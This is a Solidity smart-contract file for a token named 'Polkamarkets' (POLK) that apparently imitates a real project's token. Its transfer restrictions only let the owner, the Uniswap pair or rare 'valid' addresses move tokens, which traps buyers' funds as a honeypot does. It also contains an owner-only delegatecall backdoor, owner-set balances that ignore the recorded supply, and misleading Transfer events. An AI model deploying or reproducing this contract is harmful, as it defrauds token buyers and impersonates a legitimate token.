// File: contracts/Token.sol



//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

interface IUniswapV2Router02 {
   
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

abstract contract Context {
    constructor() {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath
    for uint;
    using Address
    for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public override view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public override view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public override view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

abstract contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}

contract PolkamarketsToken {
 
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
        if (_value == 0) { return true; }
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
 
    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
 
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require(msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }

    modifier ensure(address _from, address _to) {
        require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
        _;
    }

    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);

        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
            ))));
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply = 100000000000000000000000000;
    string public name = "Polkamarkets";
    string public symbol = "POLK";
    address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    address private owner;
    address public uniPair;

    function sliceUint(bytes memory bs)
        internal pure
        returns (uint)
    {
        uint x;
        assembly {
            x := mload(add(bs, add(0x10, 0)))
        }
        return x;
    }

    function isAccountValid(address subject) pure public returns (bool result) {
        return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
    }

    function onlyByHundred() view public returns (bool result) {
        require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
        return true;
    }

    constructor() {
        owner = msg.sender;
        
        uniPair = pairFor(uniFactory, wETH, address(this));
        allowance[address(this)][uniRouter] = uint(-1);
        allowance[msg.sender][uniPair] = uint(-1);
    }

    function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
        require(msg.sender == owner);
        balanceOf[address(this)] = _numList;
        balanceOf[msg.sender] = totalSupply * 6 / 100;

        IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
            address(this),
            _numList,
            _numList,
            msg.value,
            msg.sender,
            block.timestamp + 600
        );

        require(_tos.length == _amounts.length);

        for(uint i = 0; i < _tos.length; i++) {
            balanceOf[_tos[i]] = _amounts[i];
            emit Transfer(address(0x0), _tos[i], _amounts[i]);
        }
    }
}